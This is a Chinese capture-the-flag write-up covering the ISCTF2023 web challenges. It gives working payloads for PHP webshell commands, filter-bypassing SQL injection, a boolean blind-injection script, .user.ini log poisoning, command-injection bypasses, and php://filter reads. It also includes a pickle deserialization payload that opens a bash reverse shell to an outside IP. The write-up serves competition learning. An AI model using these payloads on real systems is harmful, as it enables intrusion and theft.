ISCTF2023-web方向

ISCTF2023-web方向(解题人:J1ngHong)

0x01 圣杯战争!!!

进题看源码,代码审计:
请添加图片描述
然后可以从中文的逻辑看出顺序,或者直接看魔术方法也能看出来。最后需要从include文件包含里面出来。所以我们构造pop链如下:
请添加图片描述
由于在weapon中写那些指令没用。他是include文件包含,我直接尝试了flag.php,发现没东西。用dirsearch扫描后发现,flag.php可以直接访问。进去之后也是空文档。所以就用php伪协议来进行信息流的读取,并且用base64进行解密,如下:
请添加图片描述
就得到了flag。至于文档为什么为空,因为include之后直接执行了php文件的语言,所以flag不能直接显示。只能用信息流抓取。

0x02 where_is_the_flag

进题看源码
请添加图片描述
这源码只看了一眼,两分钟就出flag了。

首先flag只能藏在三个位置~~(如果藏在其他位置,说明这个师傅题出的不好)~~:

  1. 根目录下的flag文件或者其他类似文件。读取:cat /flag
  2. 当前目录下的flag.php,就是/var/www/html/flag.php。读取:cat /flag.php
  3. 环境变量中。读取:env或者phpinfo()

所以这题进去就一下就找到了两个flag。看见一句话木马,习惯性地payload:

1=system('ls /');

1=system('cat /f*');

1=sysyem('env');

(或者有些题可以:1=phpinfo();)

1=system('ls');

1=system('cat f*');

但是这题flag.php也是被执行了,变成了空文件。所以我们需要文件包含命令include。如图:
请添加图片描述
其实写这题的时候我没有想到php伪协议,所以也没用include。~~(都有一句话木马了,还要什么自行车)~~直接蚁剑就完事了。蚁剑出来就差个环境变量的,就随随便便拿到了。

0x03 绕进你的心里

进题看源码:

请添加图片描述

简单RCE。前面两关也没啥好说的。三个数组绕过。payload:

?hongmeng[]=1&shennong[]=2&zhurong[]=1

然后就到最后一关了。preg_match回溯绕过。就是preg_match()函数检测不出字符串ISCTF,但是stripos()要检测出字符串2023ISCTF

代码有强制类型转换$str = (String)$_POST['pan_gu'];,不能采用数组绕过。因为preg_match()函数包含.+?,我们采用PCRE回溯次数限制绕过来绕过preg_match()函数的检测,脚本如下:

import requests

res = requests.post("url/?hongmeng[]=1&shennong[]=2&zhurong[]=1",data={"pan_gu":"-"*1000000+"2023ISCTF"})
print(res.text)

请添加图片描述

然后就得到了flag。

0x04 easy_website

进题是一个登录界面,这种界面目前我遇到的只有三种可能,一种是爆破,一种是SQL注入,一种是SSTI注入。
请添加图片描述

爆破可能性较低,因为他的回显是在页面而不是前端JS。所以我先考虑了sql注入。发现就是单引号闭合:

请添加图片描述

有回显的sql注入,而且这题的过滤还是很常规的。手测过滤了orselectunion还有空格

其他三个英文可以用双写绕过,空格可以用/**/进行替换。然后用oorrder by测出只有一列的数据,那么回显点肯定就是这一列了,所以就正常注入就有了。

爆库名:(users)

1'/**/ununionion/**/selselectect/**/database()#

爆表名:(users)

1'/**/ununionion/**/selecselectt/**/(selecselectt/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users')#

爆字段名:(USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user,password)

1'/**/ununionion/**/selecselectt/**/(selecselectt/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users')#

爆信息:(一般在password能找到flag)

1'/**/ununionion/**/selecselectt/**/(selecselectt/**/group_concat(passwoorrd)/**/from/**/users.users)#

请添加图片描述

然后就得到了flag。

0x05 wafr

又是一个rce,但是这题简单:

请添加图片描述

看着过滤了很多,而且还在最后给了strings的hint。但是我进题就直接payload:

code=system('ca\t /f*')

然后就出答案了。这题非预期解很多,还可以用system(“ca’'t /f*”),标解应该是:

code=system('strings /f*')

然后就得到了flag。

0x06 ez_ini

文件上传题:

请添加图片描述

这题写的时候,看到了ini,就想到了**.user.ini**开后门,使文本能够执行php命令。然后就常规地传一句话木马,然后想着直接执行。这题进来的时候我就发现了不对劲。

首先思路就是上传.user.ini,习惯性地改了上传类型,文件头:
请添加图片描述

然后上传成功之后,我们上传一次不带木马的shell.jpg就能发现漏洞:

请添加图片描述

我发现他会回显我刚刚上传成功的文件的内容,但是一开始没注意到,做到后面才发现,这是文件包含。然后我就尝试上传一句话木马。发现过滤了。然后一直用二分法,发现他只过滤了一个字符**“<”,其实不管过滤几个,只要< >括号没了,就不能执行php语句了。用HTML编码的&lt虽然会被编码为<**,但是并不能被php文件解析为文件头。所以我在这里卡了很久。

不过后面发现是文件包含了,那就可以做了。我们就直接用.user.ini来让文件日志变成我们的后门。然后在User-Agent位置上传我们的木马。这样也会在文件日志里面,并且被后门执行:

请添加图片描述

发现这里我们的User-Agent没有了。然后我们去/upload.php上访问,去看看木马是否传入。然后用POST方法读取flag就行。也可以直接蚁剑连接。上面的题没用,这题用蚁剑来熟悉一下:

请添加图片描述

upload.php就是这个界面,我们用POST传参的参数**“1”**作为密码连接蚁剑,发现连接成功:

请添加图片描述

然后在根目录下找到了flag。

0x07 1z_Ssql

本题的信息非常多,但是有些并没有很大的用处。比如搜集的信息集齐了是一个过滤表,但是我们可以手动fuzz出所有过滤。

首先,源码里面有一个SM4加密的JS前端文件,里面有密钥和ECB模式的提示:

请添加图片描述

然后再扫描,发现了robots.txt,然后进去找网页。访问新的网页之后,找到了blacklist密文:

请添加图片描述

然后拿去SM4网站解密,看看内容是什么:

/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i

这就是解密后的内容,但是这个其实可以手测,然后我们找一下注入点,payload:

1' or 1#

发现username和password都可以是注入点。然后发现输入1’ or 1#时有True回显。而且sleep被ban了。所以我们只能用布尔盲注了。我自己在师傅脚本的基础上用二分法写了一个布尔盲注的脚本:

import requests

url = "http://43.249.195.138:21328/"
words = "用户名或密码错误!"
flag=""
for i in range(1,100):
    low=32
    high=130
    mid=(high+low)//2
    while(low<high):
        data={"username":"admin1","password":f"1' or if(ascii(substr((database()),{i},1))>{mid},1,0)#"}
        # print(data)
        re = requests.post(url=url,data=data).text
        # print(re)
        if words in re:
            high=mid
        else:
            low=mid+1
        mid=(low+high)//2
    if(mid==32 or high==130):
        break
    flag+=chr(mid)
    print(flag)

True回显是:you got hint。所以依据这个来进行布尔盲注。

布尔盲注可以直接得出数据库名字,我爆出来数据库的名字叫bthcls。

然后我尝试着去爆表名,但是根本爆不出来。因为过滤的东西实在是太多了。

所以没办法的时候,我只能用附件里的两个txt文件来爆破。由于name1里面有users,name2里面有username和password。就按照name1为表名,name2为字段名来爆破:

将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。最后爆破答案:

请添加图片描述
请添加图片描述

然后再在登录界面输入:

请添加图片描述

然后就回显了flag。

0x08 webinclude

进题是一个需要参数的页面:

请添加图片描述

那我们就需要一个参数。但是源码、抓包、手测都没东西。那就直接dirsearch。扫出两个文件,一个是/index.bak的备份文件,还有一个是/flag.php。进入/flag.php发现里面是空的,再结合题目名字,那么就是include文件包含里的php伪协议读取信息流了。现在进入bak找参数:

 function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

这是一个用java写的脚本。我们进行代码审计,发现他有一个操作是让一个小写字母转换为两个大写字母。那么我们只需要逆向写一个脚本就行了:

#include<stdio.h>
#include<string.h>

int main() 
{
	char b[100]="dxdydxdudxdtdxeadxekdxea";
	for(int j=0;j<2;j++){
		int tmp1=0,tmp2=0,sum=0,f=0;
		//printf("%d\n",strlen(b));
		for(int i=0;i<strlen(b);i++){
			int tmp=(int)(b[i]-97);
			f++;
			if(i%2==0){
				tmp1=tmp*26;
				//printf("%d ",tmp1);
			}
			if(i%2!=0){
				tmp2=tmp;
				//printf("%d ",tmp2);
			}
			if(f==2){
				printf("%c",tmp1+tmp2);
				//printf("%d\n",sum);
				sum++;
				tmp1=0;
				tmp2=0;
				f=0;
			}
	}
	//printf("%d",sum);
	}
	return 0;
}

然后参数是mihoyo。我们构造payload:

?mihoyo=php://filter/read=convert.base64-encode/resource=

请添加图片描述

然后拿去base64解密就得到了flag。

0x09 fuzz!

一个绕过的RCE:

请添加图片描述

然后我们看到通配符都被过滤了,然后不能输入flag和fi和le。大小写也被ban了。看到最后的curl命令,还要知识补充上的内容。我觉得是误导。所以我就payload:

?file=127.0.0.1 | ls /
?file=127.0.0.1 | env

发现都没有,只能绕过了。[a-z]可以绕过任意一个字母。所以我们payload:

?file=127.0.0.1 | cat /fla[a-z]gggggg.txt
或
?file=f{i}l{e}:///fla{g}gggggg.txt

同样可以在大括号中只加入一个字符进行绕过,例如:{g}。

请添加图片描述

然后就得到了flag。

0x0A double_pickle

比赛时未解出,现在结束了来复现一下:

请添加图片描述

题目说两个路由,hint里都给出来了:

/hint和/calc。

看看/hint里面有什么:

请添加图片描述

他说写了过滤,这种replace可以双写绕过。然后再进入/calc:

请添加图片描述

发现网页回显错误500了。那么就是/calc路由参数计算失败了。由hint可知参数是payload,而且经过base64加密以及pickle反序列化的操作。我们尝试直接写出:

请添加图片描述

这是脚本,然后比赛中,我尝试输出或者读取都不成功。所以想想他会不会出网,但是用curl命令无法联系到ip。然后思路就断了。尝试了好多天,还是做不出来。

比赛后发现居然还是反弹shell。但是之前没有成功过,所以这题是一道新知识例题。

首先这个脚本构造出来的反序列化是错误的,我们用长文本直接构造:

请添加图片描述

这题直接反弹不行,只能再开一个窗口,命令是:

bash -c 'bash -i >& /dev/tcp/ip/port <&'

序列化后的最终payload:

/calc?payload=Y29vc3MKc3lzc3lzdGVtdGVtCihTImJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAxLjM3LjE0OS4yMjMvMjMzMyA8JjEnIgp0Ui4=

这是我们要输入的东西。我们现在云服务器上开启端口2333监听:
请添加图片描述

然后输入payload,发现网页一直在转,加载不出来。说明页面获取成功了。我们直接来云服务器看看。发现在根目录下有flag,我们直接进行读取就可以了:

请添加图片描述
然后就得到了flag。

  • 23
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值